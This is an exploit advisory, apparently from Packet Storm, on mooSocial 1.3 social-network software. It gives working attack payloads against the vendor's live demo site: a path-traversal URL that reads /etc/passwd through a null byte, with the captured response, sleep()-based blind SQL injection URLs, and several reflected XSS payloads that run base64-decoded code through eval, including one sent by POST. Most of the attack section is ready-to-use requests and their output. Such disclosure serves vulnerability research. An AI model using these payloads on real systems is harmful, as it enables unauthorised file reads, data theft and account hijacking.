what you don't know can hurt you

mooSocial 1.3 Cross Site Scripting / Local File Inclusion

mooSocial 1.3 Cross Site Scripting / Local File Inclusion
Posted Aug 23, 2013
Authored by Esac

mooSocial version 1.3 suffers from cross site scripting and local file inclusion vulnerabilities.

tags | exploit, local, vulnerability, xss, file inclusion
MD5 | 0772162cda3ad873db8317f24ede9024

mooSocial 1.3 Cross Site Scripting / Local File Inclusion

Change Mirror Download
###########################################################################################
#Exploit Title: mooSocial 1.3 - Multiple Vulnerabilites
#Official site: http://www.moosocial.com
#Risk Level: High
#Demo : http://demo.moosocial.com
#Exploit Author: Esac
#Homepage author : www.iss4m.ma
#Last Checked: 22/08/2013
###########################################################################################


+----------+
| OVERVIEW |
+----------+

mooSocial is a social networking script built on top of CakePHP 2 framework. It has all the features to build a successful community (e.g. blog, photo, group, event, video, topic...).

mooSocial is a premium version {

Standard Version : $149
Developer Version : $449

}

+-----------------------------------------------------------------------------------+

+----------------------------+
| Directorty Traversal / LFI |
+----------------------------+

mooSocial is vulnerable to a directory traversal / local file inclusion vulnerability , as a result, it was possible for an attacker to load webserver-readable files from the local filesystem (and to execute PHP stored on the server).



+--------------------+
| How did it work? |
+--------------------+

In the PHP code for de mooSocial website, there’s a controller called PagesController.php that is used to load static / semi-static pages. The exact name of the page to be loaded is determined by the query string: for example, http://www.demo.moosocial.com/pages/chat loads the Site chat page, which is stored as a template in the system.

i used Burp suite tool to intercept data cuz there is redirection here when we put something else after the root path

vuln code :

...................

class PagesController extends AppController
{

public function display()
{
$path = func_get_args();

$count = count($path);
if (!$count) {
$this->redirect('/');
}
$page = $subpage = $title_for_layout = null;

if (!empty($path[0])) {
$page = $path[0];
}
if (!empty($path[1])) {
$subpage = $path[1];
}
if (!empty($path[$count - 1])) {
$title_for_layout = Inflector::humanize($path[$count - 1]);
}
$this->set(compact('page', 'subpage', 'title_for_layout'));

// check if site is offline
$moo_setting = $this->_getSettings();
$uid = $this->Session->read('uid');

if ( !empty( $moo_setting['site_offline'] ) && !is_root_admin( $uid ) )
{
$this->layout = '';
$this->set('offline_message', $moo_setting['offline_message']);
$this->render('/Elements/misc/offline');
}
else
$this->render(implode('/', $path));
}
}


This code is vulnerable to a directory traversal attack: the $path, which is used to load a template, is directly tied to user input (the arguments to the function here are the elements of the query string). By sending URL slashes (/), it was possible to break out of the current directory and traverse via a relative path to any directory in the system. It was also possible to convince CakePHP (the framework used here) to load files without the ctp file extension associated with templates by including a URL null byte (%00) at the end of the URL.



+------------------+
| PROOF OF CONCEPT |
+------------------+

http://demo.moosocial.com/pages/../../../../../../../../../../etc/passwd%00

Requet Headers :

GET /pages/../../../../../../../../../../etc/passwd%00 HTTP/1.1
Host: demo.moosocial.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close


Response Headers :

HTTP/1.1 404 Not Found
Date: Thu, 22 Aug 2013 04:56:29 GMT
Server: Apache
Set-Cookie: CAKEPHP=r7t684gq0po1spmqpp5634p2l3; expires=Thu, 22-Aug-2013 05:26:29 GMT; path=/
Content-Length: 37338
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8


Response Raw :

//source code of the page

.........................

root:x:0:0::/ramdisk/root:/ramdisk/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync

........................


+--------------------------------+
| Time-Based Blind Injection |
+--------------------------------+


http://demo.moosocial.com/blogs/view/{Inject here}


Real exploitation :

http://demo.moosocial.com/blogs/view/1 and sleep(2)

==> will pause for 2 seconds and diplay the page after

http://demo.moosocial.com/blogs/view/1 and sleep(10)
==> will pause for 10 seconds and diplay the page after

+-----+
| XSS |
+-----+

//all XSS tested on Mozila Firefox


http://demo.moosocial.com/tags/view/"><img src="a" onerror='eval(atob("cHJvbXB0KDEpOw=="))'

http://demo.moosocial.com/albums/ajax_browse/"><img src="a" onerror='eval(atob("cHJvbXB0KDEpOw=="))'


http://demo.moosocial.com/blogs/ajax_browse/"><img src="a" onerror='eval(atob("cHJvbXB0KDEpOw=="))'


http://demo.moosocial.com/topics/ajax_browse/"><img src="a" onerror='eval(atob("cHJvbXB0KDEpOw=="))'


http://demo.moosocial.com/groups/ajax_browse/"><img src="a" onerror='eval(atob("cHJvbXB0KDEpOw=="))'


http://demo.moosocial.com/videos/ajax_browse/"><img src="a" onerror='eval(atob("cHJvbXB0KDEpOw=="))'

//The input is reflected inside <script> tag between single quotes

http://demo.moosocial.com/groups/view/10/video_id:'';!--'<XSS>=&{()}
http://demo.moosocial.com/groups/view/10/topic_id:'';!--'<XSS>=&{()}



XSS via Post method :

POST /videos/ajax_embed HTTP/1.1
Content-Length: 75
Content-Type: application/x-www-form-urlencoded
Cookie: CAKEPHP=u3e5q7ut90nhcg7ao1e9c8tni4; mooSocial[language]=Q2FrZQ%3D%3D.9%2F79; mooSocial[theme]=Q2FrZQ%3D%3D.%2FvHjC2hN; mooSocial[activity_feed]=Q2FrZQ%3D%3D.9%2Bb%2FFmVNBY8%3D
Host: demo.moosocial.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*

source=youtube&source_id=" onmouseover=prompt(976681) bad="



+--------------------------------------------------------------------------------------+

Knowledge is not an Object , it's a flaw :)
Greetz : White Tarbouch TEAM - Cobra
WwW.Iss4m.Ma
./Issam IEBOUBEN Aka Esac



Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2015

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    2 Files
  • 2
    Feb 2nd
    17 Files
  • 3
    Feb 3rd
    15 Files
  • 4
    Feb 4th
    16 Files
  • 5
    Feb 5th
    14 Files
  • 6
    Feb 6th
    4 Files
  • 7
    Feb 7th
    0 Files
  • 8
    Feb 8th
    0 Files
  • 9
    Feb 9th
    0 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    0 Files
  • 13
    Feb 13th
    0 Files
  • 14
    Feb 14th
    0 Files
  • 15
    Feb 15th
    0 Files
  • 16
    Feb 16th
    0 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    0 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2015 Packet Storm. All rights reserved.

close